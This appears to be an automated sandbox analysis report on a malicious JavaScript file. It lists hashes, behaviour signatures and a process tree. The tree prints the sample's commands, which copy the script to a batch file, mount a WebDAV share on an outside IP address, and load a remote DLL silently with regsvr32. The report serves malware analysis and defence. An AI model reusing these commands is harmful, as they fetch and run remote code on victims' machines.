Analysis

  • max time kernel
    95s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-07-2024 02:27

General

  • Target

    1961911094742131286.js

  • Size

    5KB

  • MD5

    85097639203093e55adb60a5a3b1ea28

  • SHA1

    95289cca88620a2d078fa3b356d161168cd30d7e

  • SHA256

    f65f77fde99b8a3d1b3673d90e49f88d088953ee44ba71456a5e5001395ebd3e

  • SHA512

    ee565391109cbfbe911e768ea5fe525f0496ea896c15f60d7993ed51305c4be9374ebe0c22ad3af4c197f4cdad6cfb2ee9890b15c69c0c48e0f7ca9776c67621

  • SSDEEP

    96:0UeFaOpYkKkjrYk/EC5vH7NBi8P5UP5krjh4kWzOBQkrck8ek7t:teaT5GcaVJBrKx+jh4JOW+cWkx

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1961911094742131286.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1408
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1961911094742131286.js" "C:\Users\Admin\\zrqvxm.bat" && "C:\Users\Admin\\zrqvxm.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3536
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:4648
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\475.dll
          3⤵
            PID:4824

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\zrqvxm.bat

        Filesize

        5KB

        MD5

        85097639203093e55adb60a5a3b1ea28

        SHA1

        95289cca88620a2d078fa3b356d161168cd30d7e

        SHA256

        f65f77fde99b8a3d1b3673d90e49f88d088953ee44ba71456a5e5001395ebd3e

        SHA512

        ee565391109cbfbe911e768ea5fe525f0496ea896c15f60d7993ed51305c4be9374ebe0c22ad3af4c197f4cdad6cfb2ee9890b15c69c0c48e0f7ca9776c67621